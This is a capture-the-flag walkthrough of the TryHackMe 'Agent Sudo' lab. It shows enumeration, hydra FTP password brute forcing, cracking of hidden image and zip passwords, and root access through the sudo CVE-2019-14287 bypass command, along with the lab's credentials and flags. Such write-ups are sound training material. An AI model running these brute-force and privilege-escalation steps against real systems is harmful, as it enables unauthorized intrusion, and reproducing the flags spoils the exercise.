TryHackMe: Agent Sudo CTF

Scanning:

Machine IP: 10.10.179.150

Nmap: Ping Scan

```
crazyeights@kali:~$ nmap -PS 10.10.179.150
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-20 20:20 EST
Nmap scan report for 10.10.179.150
Host is up (0.10s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 22.55 seconds
```

Nmap: Service Scan:

```
crazyeights@kali:~$ nmap -sV -p21,22,80 --script=banner  10.10.179.150
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-20 20:27 EST
Nmap scan report for 10.10.179.150
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_banner: 220 (vsFTPd 3.0.3)
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.61 seconds
```

Web Server Enumeration:

```
crazyeights@kali:~$ dirb http://10.10.179.150

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Jan 20 20:22:29 2020
URL_BASE: http://10.10.179.150/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612


---- Scanning URL: http://10.10.179.150/ ----
+ http://10.10.179.150/index.php (CODE:200|SIZE:218)

+ http://10.10.179.150/server-status (CODE:403|SIZE:278)

---------------
```

index.php:

```
Dear agents,

Use your own codename as user-agent to access the site.

From,
Agent R
```

Create request for each possible codename as User-Agent:

Loop Through the Alphabet:

```
crazyeights@kali:~$ for x in {A..Z}; do echo "$x"; done
```

Loop through Alphabet sending request for each letter:

```
crazyeights@kali:~$ for x in {A..Z}; do curl --user-agent "$x" -L
http://10.10.179.150; done > curl_out.txt
```

In curl_out.txt:

```
Attention chris, <br><br>

Do you still remember our deal? Please tell agent J about the stuff
ASAP. Also, change your god damn password, is weak! <br><br>

From,<br>
Agent R
```

Trying to get the password for chris for ftp:

```
crazyeights@kali:~$ hydra -l chris -P
/usr/share/seclists/Passwords/Leaked-Databases/rockyou-40.txt
ftp://10.10.179.150
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military
or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at
2020-01-20 21:02:21
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I
to skip waiting)) from a previous session found, to prevent
overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3957 login tries
(l:1/p:3957), ~248 tries per task
[DATA] attacking ftp://10.10.179.150:21/
[21][ftp] host: 10.10.179.150   login: chris   password: crystal
[STATUS] 3957.00 tries/min, 3957 tries in 00:01h, 1 to do in 00:01h, 9
active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at
2020-01-20 21:03:31
```

Logging into FTP for chris:

```
crazyeights@kali:~$ ftp 10.10.179.150
Connected to 10.10.179.150.
220 (vsFTPd 3.0.3)
Name (10.10.179.150:crazyeights): chris
```

```
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0        0          217 Oct 29 12:15 To_agentJ.txt
-rw-r--r-- 1 0        0        33143 Oct 29 12:22 cute-alien.jpg
-rw-r--r-- 1 0        0        34842 Oct 29 12:33 cutie.png
226 Directory send OK.
ftp>

ftp> get To_agentJ.txt
local: To_agentJ.txt remote: To_agentJ.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
226 Transfer complete.
217 bytes received in 0.00 secs (85.0719 kB/s)
ftp> get cute-alien.jpg
local: cute-alien.jpg remote: cute-alien.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for cute-alien.jpg (33143
bytes).
226 Transfer complete.
33143 bytes received in 0.31 secs (104.4273 kB/s)
ftp> get cutie.png
local: cutie.png remote: cutie.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for cutie.png (34842 bytes).
226 Transfer complete.
34842 bytes received in 0.33 secs (104.5536 kB/s)
ftp>
```

Files Downloaded:

- **To_agentJ.txt**
- **cute-alien.jpg**
- **cutie.png**

View the contents of To_agentJ.txt:

```
crazyeights@kali:~$ cat To_agentJ.txt
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture
inside your directory. Your login password is somehow stored in the
fake picture. It shouldn't be a problem for you.

From,
Agent C
```

Checking out the 2 images:

```
crazyeights@kali:~$ strings cutie.png
IEND
To_agentR.txt
W\_z#
2a>=
To_agentR.txt
EwwT

crazyeights@kali:~$ strings cute-alien.jpg
JFIF
 , #&')*)
-0-(0%()(
((((((((((((((((((((((((((((((((((((((((((((((((((((((((
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
    #3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
```

Retrieving hidden files from cutie.png using binwalk:

```
crazyeights@kali:~$ binwalk -e cutie.png

DECIMAL    HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
----------
0          0x0             PNG image, 528 x 528, 8-bit colormap,
non-interlaced
869        0x365           Zlib compressed data, best compression
34562      0x8702          Zip archive data, encrypted compressed
size: 98, uncompressed size: 86, name: To_agentR.txt
34820      0x8804          End of Zip archive, footer length: 22
```

Using zip2john to get the hash for the encrypted archive:

```
crazyeights@kali:~/_cutie.png.extracted$ zip2john 8702.zip > outhash
ver 81.9 8702.zip/To_agentR.txt is not encrypted, or stored with
non-handled compression type
```

Cracking the hash for the encrypted archive:

```
crazyeights@kali:~/_cutie.png.extracted$ john
--wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-70.t
xt --rules outhash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alien            (8702.zip/To_agentR.txt)
1g 0:00:00:00 DONE (2020-01-20 21:32) 1.818g/s 59578p/s 59578c/s
59578C/s 123456..dinky
Use the "--show" option to display all of the cracked passwords
reliably
Session completed

crazyeights@kali:~/_cutie.png.extracted$
```

Viewing the contents of the archive:

```
Extracted File:
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R
```

Cracking the steghide password for the other image:

```
crazyeights@kali:~$ stegcracker cute-alien.jpg
xato-net-10-million-passwords-dup.txt
StegCracker 2.0.7 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2020 - Luke Paris (Paradoxis)

Counting lines in wordlist..
```

```
Attacking file 'cute-alien.jpg' with wordlist
'xato-net-10-million-passwords-dup.txt'..
Successfully cracked file with password: Area51u427ues
Tried 649713 passwords
Your file has been written to: cute-alien.jpg.out
Area51
```

The extracted file:

```
crazyeights@kali:~$ cat cute-alien.jpg.out
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this
password for you.

Your buddy,
chris
```

Login to SSH:

```
crazyeights@kali:~$ ssh james@10.10.179.150
```

The user flag:

```
james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
```

Copy the image Alien_autospy.jpg to local machine:

```
crazyeights@kali:~$ scp james@10.10.179.150:Alien_autospy.jpg
/home/crazyeights/
james@10.10.179.150's password:
Alien_autospy.jpg                             100%   41KB 118.5KB/s
00:00
```

(BONUS) Found the source of the image using Tiny Eye:
Tiny Eye -> Fox News -> Roswell alien autopsy

```
james@agent-sudo:~$ sudo -l
Matching Defaults entries for james on agent-sudo:
```

```
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbi
n\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash
james@agent-sudo:~$
```

Privilege Escalation:

```
james@agent-sudo:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
```

Exploit: CVE-2019-14287

Command:

```
sudo -u \#$((0xffffffff)) /bin/bash
```

Running the command:

```
james@agent-sudo:~$ sudo -u \#$((0xffffffff)) /bin/bash
root@agent-sudo:~# cd /root
root@agent-sudo:/root# ls
root.txt
```

Getting the root flag:

```
root@agent-sudo:/root# cat root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for
TryHackMe. Tips, always update your machine.

Your flag is
b53a02f55b57d4439e3341834d70c062

By,
DesKel a.k.a Agent R
```